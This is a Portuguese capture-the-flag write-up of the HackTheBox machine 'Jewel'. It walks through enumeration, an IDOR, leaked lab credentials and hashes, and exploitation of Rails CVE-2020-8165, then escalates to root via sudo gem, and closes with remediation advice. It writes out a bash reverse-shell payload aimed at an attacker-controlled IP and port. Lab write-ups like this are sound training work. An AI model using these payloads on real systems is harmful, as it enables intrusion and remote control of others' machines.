Jewel Cover

Neste primeiro post veremos a resolução da máquina ‘Jewel’ do HackTheBox. A resolução foi efetuada em outubro de 2020, quando a máquina estava ‘ativa’. Em fevereiro de 2021 a mesma passou para ‘retirada’ e com as evidências coletadas anteriormente foi possível publicar este ‘writeup’.

Informações da Máquina

IP: 10.10.10.211

Sistema Operacional: Linux

Nível de dificuldade: Médio

Varredura e Enumeração

Port Scan

Ao executar o Nmap são mostradas três portas abertas: 22, 8000 e 8080.

Nmap

Utilizando os parâmetros do Nmap podemos executar também os scripts padrões para verificar vulnerabilidades, as versões dos serviços que estão rodando e gerar um arquivo com o resultado do scan.

nmap -v -sC -sV -p 22,8000,8080 -Pn 10.10.10.211 -oN jewel-detail
Nmap detalhes

Webserver

Na saída do comando Nmap é possível verificar duas aplicações Web rodando, uma na porta 8000 e outra na 8080. Na porta 8080, onde o Apache é executado, surge um ‘Blog’, permitindo o cadastro de usuário, login e edição do usuário cadastrado.

URL: http://10.10.10.211:8080/

Editar usuário

Ao acessar o link para o recurso ‘gitweb’ na porta 8000 surge o código fonte do ‘Blog’, tendo o Git como seu sistema de controle de versão.

URL: http://10.10.10.211:8000/gitweb/

Gitweb

O acesso às aplicações pode ser feito através de seu IP ou pelo seu domínio, editando o arquivo /etc/hosts na máquina do atacante.

$ sudo vi /etc/hosts

Inserir a linha correspondente ao arquivo.

10.10.10.211  jewel.htb

Desta forma as aplicações podem ser acessadas pelo browser com as seguintes URLs.

http://jewel.htb:8080/
http://jewel.htb:8000/gitweb/

Vulnerabilidades

O sistema permite visualizar o perfil de outros usuários, sendo necessário apenas alterar a id do usuário na URL. Com isto foi possível obter o nome de usuário bill (id=01) e jennifer (id=02).

Blog

Além de poder visualizar os dados de outros usuários é possível alterar suas publicações e o campo de texto é vulnerável a HTML Injection.

HTML Injection

Analisando o código fonte do HTML foi encontrado o campo de senha comentado no form de usuário. Descomentando o código torna-se possível a alteração de senha do usuário.

<div class="form-group">
    <label for="user_password">Password</label>
    <input class="form-control" placeholder="Password" type="password" name="user[password]" id="user_password" />
</div>

Como se trata de uma aplicação onde o código fonte do ‘Blog’ é gerenciado pelo Git, é possível navegar pela página e obter informações sobre a linguagem de programação (Ruby), o framework utilizado (Ruby on Rails) e suas versões.

Commit

Obtendo as credenciais na tabela users.

Credentials
bill  bill@mail.htb  2020-08-25 08:13:58.662464  2020-08-25 08:13:58.662464     
$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW

jennifer  jennifer@mail.htb  2020-08-25 08:54:42.8483  2020-08-25 08:54:42.8483        
$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy

Ao executar o Linpeas no host mais credenciais foram descobertas.

[+] Finding 'pwd' or 'passw' variables (and interesting php db definitions) inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
/home/bill/blog/config/database.yml:  password: beiw,aDoed1

[+] Searching specific hashes inside files - less false positives (limit 70)
/var/backups/dump_2020-08-27.sql:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
/home/bill/blog/bd.sql:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW

Conteúdo do arquivo /home/bill/blog/config/database.yml.

production:
  <<: *default
  database: blog_development
  host: localhost
  port: 5432
  username: rails_dev
  password: beiw,aDoed1

Os dados do banco de dados PostgreSQL também estão expostos. No arquivo bd.sql a versão do banco e suas tabelas podem ser visualizadas.

bd.sql

Estrutura de tabelas no dump db.sql.

bd.sql

Também foi possível encontrar a versão do Ruby e do Gem (Gerenciador de Pacotes do Ruby).

Ruby Version

De posse das credenciais obtidas, nome de usuário e ‘hashes’, foi utilizado o hashcat para identificar o tipo de hash utilizado para o campo de senha. De acordo com o hashcat trata-se de uma hash bcrypt.

Hashcat

Com o john foi possível quebrar o ‘hash’ do usuário bill. A senha revelada é ‘spongebob’.

John

Pesquisando por vulnerabilidades na versão 5.2.2.1 do Rails foi descoberta a CVE-2020-8165 no site mitre.org.

CVE-2020-8165

Trata-se de uma vulnerabilidade de desserialização de dados não confiáveis que existe nas versões do Rails <5.2.4.3, Rails <6.0.3.1 e que pode permitir que um invasor desempacote objetos fornecidos pelo usuário em MemCacheStore e RedisCacheStore, resultando potencialmente em um RCE (Remote Code Execution).

Exploração

Buscando por exploits para a CVE-2020-8165 foi encontrado no github um exploit público.

Pesquisa de Exploits

O exploit consiste em encodar uma string de comando que será o payload a ser enviado ao servidor. O envio do payload é efetuado duas vezes usando o curl e o alvo utilizado é a página de cadastro de usuário.

Para obter uma shell reversa o IP e porta no payload devem ser configurados conforme a máquina do atacante. O resultado será uma URL codificada, que pode ser usada no envio do cadastro de usuário através da interceptação da requisição com o Burp Suite. Ou diretamente com o curl, enviando duas requisições seguidas, conforme orientação do manual do exploit.

irb(main):> code = '`/bin/bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1"`'

Obtendo a shell reversa.

Reverse Shell

Obtendo a flag do usuário bill.

User Key

Escalação de Privilégios

Após executar o exploit com o payload e receber a shell reversa foi possível analisar o conteúdo do diretório do usuário bill. Neste diretório foi encontrado o arquivo oculto do Google Authenticator.

Diretório Bill

Ao tentar executar algum comando com o ‘sudo’ utilizando este usuário surge a solicitação do código de autenticação do Google Authenticator (verificação em duas etapas).

O código de verificação pode ser obtido com o addon Authenticator instalado no browser.

Para utilizar o código gerado a data e horário do host devem estar sincronizados com a máquina do atacante. Para isto é necessário desabilitar o NTP de fuso-horário automático e setar a hora manualmente, de acordo com a hora e minutos da máquina Jewel.

$ timedatectl set-ntp false
$ sudo timedatectl set-time '2020-10-26 22:34:18'

Após efetuar a sincronização e gerar o código de verificação com o addon Authenticator é possível autenticar com as credenciais bill:spongebob e checar que tipo de permissões possui o usuário.

Sudo

O usuário bill possui privilégios de root no gem (gerenciador de pacotes do Ruby).

(ALL : ALL) /usr/bin/gem

Buscando no GTFOBins é possível encontrar a forma de escalar privilégios com o gem usando o sudo.

GTFOBins

Obtenção de root após a execução do comando com o sudo.

Privesc

Obtendo a flag do usuário root.

Flag Root

Recomendações

Caso fosse um Pentest realizado para alguma empresa, estas seriam as recomendações para solucionar os problemas encontrados no host.

  • Implementar um sistema de permissão de acesso à aplicação ‘gitweb’. Deve ser de uso restrito dos desenvolvedores do sistema e não deve estar acessível para qualquer usuário. Outra opção é remover a sua disponibilidade.
  • Implementar a verificação de sessão de usuário na aplicação ‘Blog’ para impedir que um usuário logado possa visualizar os dados de outros usuários.
  • Revisão de código fonte da aplicação ‘Blog’ para remover código comentado que possa comprometer a segurança do sistema.
  • Implementar validação dos dados enviados nos dois lados da aplicação ‘Blog’, tanto no front-end quanto no back-end, para evitar o envio de dados maliciosos ao servidor.
  • Atualizar o software utilizado para o desenvolvimento do sistema e suas dependências.